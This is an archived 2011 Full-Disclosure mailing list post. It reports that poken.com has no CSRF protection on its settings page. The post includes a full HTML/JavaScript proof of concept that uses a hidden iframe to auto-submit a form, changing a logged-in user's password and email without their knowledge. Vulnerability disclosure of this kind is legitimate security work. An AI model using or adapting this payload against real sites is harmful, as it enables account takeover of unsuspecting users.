full-disclosure - Poken.com CSRF vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 14 May 2011 16:19:41 +0200
From: "Z" <Z@...hall.net>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Poken.com CSRF vulnerability

Poken is a technology that utilizes a proprietary Near Field Communication
(NFC) technology to allow the exchange of online social networking data
between two keychain accessories.

Poken.com is the website where poken users can edit their profiles, and
browse other poken friends they already met.

There is a plain CSRF vulnerability at poken.com, which can be exploited in
order to change the password of the logged-in poken user.
The site uses no random CSRF tokens, or asks for the current password before
changing to the new one.

POC HTML code generated by the OWASP CRSFTester:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Poken.com CSRF POC by Z - OWASP CRSFTester Demonstration</title>
</head>

<body>
<H2>Poken.com CSRF POC by Z - OWASP CRSFTester Demonstration</H2>
<iframe name="evilframe"
style="visibility:hidden;height:0px;width:0px;border:0px"></iframe>
<script>

    var evilframe = window.frames["evilframe"];

    evilframe.document.body.innerHTML=
'<form method="POST" id="evil" name="evil"
action="http://user.poken.com:80/settings">' + 
'<input type="hidden" name="settings[alias]" value="ALIAS"/>' + 
'<input type="hidden" name="settings[email]" value="email@...mple.com"/>' + 
'<input type="hidden" name="settings[password_new]" value="NewPassword"/>' +

'<input type="hidden" name="settings[password_repeat]"
value="NewPassword"/>' + 
'<input type="hidden" name="settings[lang]" value="en"/>' + 
'<input type="hidden" name="settings[country]" value="US"/>' + 
'<input type="hidden" name="settings[timezone]" value="Europe/Budapest"/>'
'</form>';
evilframe.document.evil.submit();

</script>
</body>
</html>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/